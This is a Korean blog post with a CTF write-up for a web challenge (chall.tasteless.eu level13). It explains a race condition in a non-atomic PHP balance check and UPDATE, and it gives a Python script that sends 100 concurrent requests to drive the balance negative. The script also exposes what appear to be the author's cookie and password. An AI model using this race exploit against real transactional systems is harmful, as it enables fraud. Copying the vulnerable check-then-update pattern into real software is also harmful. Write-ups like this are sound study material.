webhacking/etc

chall.tasteless.eu Leetmore

qkqhxla1 2015. 7. 21. 00:03

소스코드가 되게 길어서 한참을 살펴봤다. sqli문제일줄 알았는데 딱히 sqli관련해서 취약점이 없었다.

넣을수 있는 부분에는 md5로 변경해서 '로 감싸여진다. 어떻게할까 소스코드를 여러번 살펴보다가 발견했는데, 맨 아래에 웹사이트가 몇초만에 만들어지는지 microtime이 나와있다. 이걸 보고 레이스컨디션인가? 추측을 했다. 그리고 또 몇번 살펴보니 어디를 공격하면 될지 감이 왔다.


 $r mysql_fetch_assoc(mysql_query("SELECT $convfrom FROM level13 WHERE login = '$login'")); 
      if (
$r[$convfrom] < $convminus
       
print_err("You do not have enough money for exchange!"); 
      
mysql_query("UPDATE level13 SET $convfrom = $convfrom - $convminus$convto = $convto + $convplus WHERE login = '$login'"); 
      
redir("?"); 
     } 


입력을 받은 후 위 부분에서 update쿼리를 실행하는데 레이스컨디션이라고 가정하고 생각해보니, 동일한 요청을 짧은시간에 여러번 주게되면 update가 실행되는동안 동일한 요청이 들어와서 여러번 실행될거라 가정했고, 실제로 그렇게 됬다. 


처음에 30usd가 있는데, 여러번 요청을 보내서 전부다 RUR로 바꾸거나, 그걸 다시 usd로 바꾸게 되면 어느순간 여러번 요청이 성공하면서 돈이 -가 된다.




계속 바꾸다보면 성공한다.






소스코드. 

#-*- coding: cp949 -*-
import urllib2, threading

#usdrur=5, #rurusd=155
def request(send):
    req = urllib2.Request('http://chall.tasteless.eu/level13/',send)
    req.add_header('cookie','login=qkqhxla1; password=kds1616; __cfduid=d94bbc8a85488fd89fca99540ff111e8d1437381748; PHPSESSID=a909c67bm8ue4kiq0g52g856p2')
    req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36')
    urllib2.urlopen(req).read()

threads = []
for i in range(100):
    print i
    th = threading.Thread(target=request,args=('usdrur=10',))
    threads.append(th)

for th in threads:
    th.start()
    
for t in threads:
    t.join()